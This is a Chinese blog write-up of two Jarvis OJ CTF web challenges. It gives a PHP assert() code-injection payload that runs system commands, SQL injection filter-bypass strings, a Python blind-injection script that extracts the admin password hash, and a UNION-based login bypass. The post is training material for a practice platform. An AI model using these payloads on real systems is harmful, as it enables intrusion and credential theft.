Ashing's Blog

想学的太多 懂得的太少

0%

Jarvis OJ Web WriteUp(2)

babyphp

描述里面发现使用了 Git,直接御剑爆破出 .git 目录。利用工具扒下源码,审计一波。 源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 函数果断是常见的危险函数。如果第一个参数是字符串会当作为代码执行。构造payload:

1
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'

也可以利用注释掉后面的语句构造payload。

simple injection

上来一脸懵逼,post注入直接上 sqlmap,发现有 waf。然后s qlmap 绕过 waf 还不会。。。只能手动了。。。

常规测试:

  • 1.先常规测试一下: username=admin'# 密码随便填,发现报错密码错误。验证了没有过滤’#,而且存在报错注入。

  • 2.然后尝试: admin' order by 1# 发现说用户不存在,那么就说明有waf过滤了空格或order或by中至少一个。

  • 3.先猜测空格吧: 把空格换成//,提示密码错误。ok绕过过滤空格。

  • 4.测试一下万能密码: admin'/**/or/**/1=1#提示密码错误,没有过滤or。但是存在密码验证,万能密码不能用。 常见的登陆漏洞类型:

    • ①同时验证用户名和密码:
    1
    2
    3
    4
    5
    6
    7
    $sql = select * from users where    username=$usernmae and password=$password
    $result = mysql_query($sql);
    if($result) {
    echo "登陆成功";
    } else {
    echo "登陆失败";
    }
    • ②分布验证用户名和密码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    $sql = "select password from users where username='$username'"
    $result = mysql_query($sql);
    if($result) {
    $row = mysql_fetch_row($result);
    $query_password = $row[$password];

    # 对输入的$password进行变形

    $input_password = modify($passowrd);
    if($input_password == $query_password) {
    echo "登陆成功";
    } else {
    echo "密码错误";
    }

    } else {
    echo "用户不存在";
    }

分别尝试使用:

username=admin&password=123456#密码错误
username=user&password=123456#用户名错误

即此题为分步验证。

  • 5.开始盲注
    • 5.1查找表: username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456返回密码错误,那么说明在数据库中存在admin表。
    • 5.2查找字段: username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456 返回密码错误,说明admin中存在username和password字段 username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456 返回密码错误,说明在admin表中仅仅只存在一条记录。 得到pasaword长度: username=user'/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456,通过二分法最终发现password长度为32.即采用md5来加密的。 py脚本跑一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-

import requests

def main():
result=""
url="http://web.jarvisoj.com:32787/login.php"
data={
'username':'xx',
'password':'123456'
}
payload="'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars="0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
for i in range(1,33):
for j in chars:
char_ascii=ord(j)
sql_payload=payload.format(i,char_ascii)
data['username']=sql_payload
#因为注入点在username上
rep=requests.post(url=url,data=data)
length=len(rep.text)
if length>1191:
result+=j
print result
break
print result
print "Done"

if __name__=="__main__":
main()

得出MD5破解后登陆得flag。

在网上还流产一种解法比较骚:

  • 常规测试后猜测: 通过用户名查询密码,然后如果查不出行就提示用户名错误,如果查出了且密码匹配不对,就提示密码错误。

  • 然后直接用联合查询把后面带入user查询password得语句注释掉而是使用查询1: username=admin123'UNION(SELECT(1))#&password=123 返回密码错误,说明语句执行成功。

  • 然后尝试把密码改为1提交不正确,猜测后端使用了MD5加密进行比较。因此构造语句: username=admin123'UNION(SELECT(md5(123)))#&password=123 得flag。

    太骚啦~!! 通过控制查询到得MD5值,再输入一个匹配得密码使其登陆成功。